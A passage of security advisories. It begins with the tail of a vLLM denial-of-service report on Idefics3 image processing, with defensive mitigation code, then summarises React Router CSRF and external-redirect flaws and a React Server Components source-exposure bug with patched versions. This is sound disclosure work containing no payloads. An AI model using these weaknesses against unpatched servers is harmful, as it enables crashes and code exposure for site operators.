(input tensor's size at dimension 0), but got split_sizes=[17]
`
This unhandled exception terminates the EngineCore process, crashing the server.
Affected Models
Any model using the Idefics3 architecture. The vulnerability was tested with HuggingFaceTB/SmolVLM-Instruct.
Impact
Denial of service by crashing the engine
Mitigation
Validating the input:
`python
def _validate_image_dimensions(self, image_shape):
h, w = image_shape[:2] if len(image_shape) == 3 else image_shape
if h < MIN_IMAGE_SIZE or w < MIN_IMAGE_SIZE:
raise ValueError(f"Image dimensions too small: {h}x{w}")
`
Managing the exception:
`python
try:
return [e.flatten(0, 1) for e in image_features.split(num_patches.tolist())]
except RuntimeError as e:
logger.error(f"Image processing failed: {e}")
raise InvalidImageError("Failed to process image features") from e
``
Fixes
https://github.com/vllm-project/vllm/pull/29881
React Router has CSRF issue in Action/Server Action Request Processing
React Router (or Remix v2) is vulnerable to CSRF attacks on document POST requests to UI routes when using server-side route action handlers in Framework Mode, or when using React Server Actions in the new unstable RSC modes.
> [!NOTE]
> This does not impact applications that use Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router has unexpected external redirect via untrusted paths
An attacker-supplied path can be crafted so that when a React Router application navigates to it via navigate(), <Link>, or redirect(), the app performs a navigation/redirect to an external URL. This is only an issue if developers pass untrusted content into navigation paths in their application code.
Next Server Actions Source Code Exposure
A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55183.
A malicious HTTP request can be crafted and sent to any App Router endpoint that can return the compiled source code of Server Functions. This could reveal business logic, but would not expose secrets unless they were hardcoded directly into Server Function code.
Source Code Exposure Vulnerability in React Server Components
Impact
There is a source code exposure vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.